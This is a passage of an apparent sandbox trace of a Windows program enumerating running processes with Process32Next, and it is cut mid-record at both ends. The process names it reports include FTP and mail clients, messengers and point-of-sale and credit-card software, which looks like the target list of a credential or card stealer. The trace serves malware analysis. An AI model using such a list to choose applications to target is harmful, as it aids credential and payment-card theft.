lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0129.441] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0129.444] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0129.447] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0129.451] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0129.454] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0129.456] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0129.457] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0129.459] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0129.461] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0129.462] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0129.464] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0129.466] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0129.468] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0129.469] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0129.471] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0129.472] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0129.474] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0129.477] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0129.479] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0129.481] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0129.486] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0129.489] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0129.492] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0129.494] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0129.497] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0129.499] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0129.501] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0129.503] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0129.506] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0129.508] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0129.510] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0129.512] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0129.554] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0129.557] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0129.561] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0129.563] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0129.566] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0129.571] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0129.573] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0129.576] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0129.579] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0129.582] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0129.585] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0129.587] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0129.592] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0129.595] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0129.597] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0129.600] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0129.602] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0129.604] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0129.607] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0129.609] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0129.611] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0129.617] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0129.619] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0129.620] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0129.622] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0129.624] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0129.626] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0129.628] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0129.630] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0129.632] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0129.633] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0129.635] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0129.637] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0129.639] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0129.640] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.642] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0129.644] CloseHandle (hObject=0x1e18) returned 1 [0129.644] Sleep (dwMilliseconds=0x64) [0129.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc0 [0129.840] Process32First (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.842] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.844] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.883] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.886] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.889] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.891] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.893] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.897] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.899] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.902] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.907] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.909] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.911] Process32Next (in: hSnapshot=0x1fc0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.913] Process32Next (in: 